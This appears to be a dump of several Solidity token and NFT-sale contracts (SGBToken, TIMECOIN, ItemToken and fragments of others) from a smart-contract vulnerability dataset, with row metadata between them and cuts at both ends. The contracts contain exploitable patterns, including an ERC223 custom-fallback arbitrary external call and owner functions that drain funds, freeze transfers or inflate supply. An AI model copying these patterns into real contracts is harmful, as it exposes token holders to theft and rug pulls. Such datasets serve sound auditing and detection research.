if (ATLprice > 0) { Bigdata[tokenAddress][16] = ATLprice; }
if (ETHprice > 0) { Bigdata[tokenAddress][17] = ETHprice; }
}
function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted {
require(HPM_status == 0 || HPM_status == 1);
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress] = HPM_divider;
}
function Holdplatform_Deposit(uint256 amount) restricted public {
require(amount > 0);
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
emit onHOLDdeposit(msg.sender, amount, newbalance, now);
}
function Holdplatform_Withdraw(uint256 amount) restricted public {
require(Holdplatform_balance > 0 && amount <= Holdplatform_balance);
uint256 newbalance = sub(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
emit onHOLDwithdraw(msg.sender, amount, newbalance, now);
}
function ReturnAllTokens() restricted public
{
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.id != 0) {
if(s.amountbalance > 0) {
uint256 amount = add(s.amountbalance, s.cashbackbalance);
PayToken(s.user, s.tokenAddress, amount);
s.amountbalance = 0;
s.cashbackbalance = 0;
Statistics[s.user][s.tokenAddress][5] = 0;
}
}
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 165,173 | 13,415 |
91fcfcbd4a2078d3e26b22d44b54470d8f8e1f0c01010d2575c82e20b62080a6
| 10,535 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xd7b1e591f9e31c85d6315e3e308ea373c8610e21.sol
| 2,621 | 9,954 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SGBToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "SGB Bitcoin Token";
string public constant symbol = "SGBT";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 15000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 10000000e8;
uint public target0drop = 10000;
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 1000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 100000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 191,895 | 13,416 |
9c33f6d4c37e237b3521bfc0bb4867a707722c1db8b429661d03da0caa05e153
| 14,916 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x5f0452bf45c2ad560a4ac6d663033c50bc04d044.sol
| 3,526 | 13,936 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract TIMECOIN is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "TIMECOIN";
string internal symbol_ = "TIME";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 63745142400e18;
uint256 public toGiveBase = 666e18;
uint256 public increaseBase = 666e17;
uint256 public OfficalHold = totalSupply_.mul(90).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=90000;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function TIMECOIN (address _target) public {
owner = msg.sender;
target = _target;
distr(target, OfficalHold);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(_amount[i] <= maxIncrease);
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
toGiveBase = _toGiveBase;
increaseBase = _increaseBase;
etherGetBase=_etherGetBase;
maxIncrease=_maxIncrease;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (toGiveBase > totalRemaining) {
toGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
if(etherValue>99e16){
require(finishEthGetToken==false);
value=etherValue.mul(etherGetBase);
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(finishFreeGetToken==false
&& toGiveBase <= totalRemaining
&& increase[investor]<=maxIncrease
&& now>=unlockUnixTime[investor]);
value=value.add(increase[investor].mul(increaseBase));
value=value.add(toGiveBase);
increase[investor]+=1;
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = this.balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 213,343 | 13,417 |
e1976d1e360bd207bd65fef1f5ee320be79dda9d87578cc03f2423160a531b80
| 10,862 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb75bab60770f91bdb2eb40f2e3663a05ad2090ca.sol
| 2,980 | 9,760 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemToken {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
IItemRegistry private itemRegistry;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private startingPriceOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
function ItemToken () public {
owner = msg.sender;
admins[owner] = true;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function setItemRegistry (address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry (uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price, itemOwner);
}
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
startingPriceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100); // 3%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "Blockstates.io";
}
function symbol() public pure returns (string _symbol) {
return "BST";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId));
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
interface IItemRegistry {
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items);
function ownerOf (uint256 _itemId) public view returns (address _owner);
function priceOf (uint256 _itemId) public view returns (uint256 _price);
}
| 203,545 | 13,418 |
dee23baab0ba1d4f65c562c4d0f7fa8a866bff7873e5905987b748ef023bf59f
| 38,380 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fd/fd5b56e0198006c22f4b5c1f30ae36ca8699acc4_ElevenGrowthVault.sol
| 4,155 | 16,826 |
// SPDX-License-Identifier: MIT
// Eleven.finance vault erc20
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
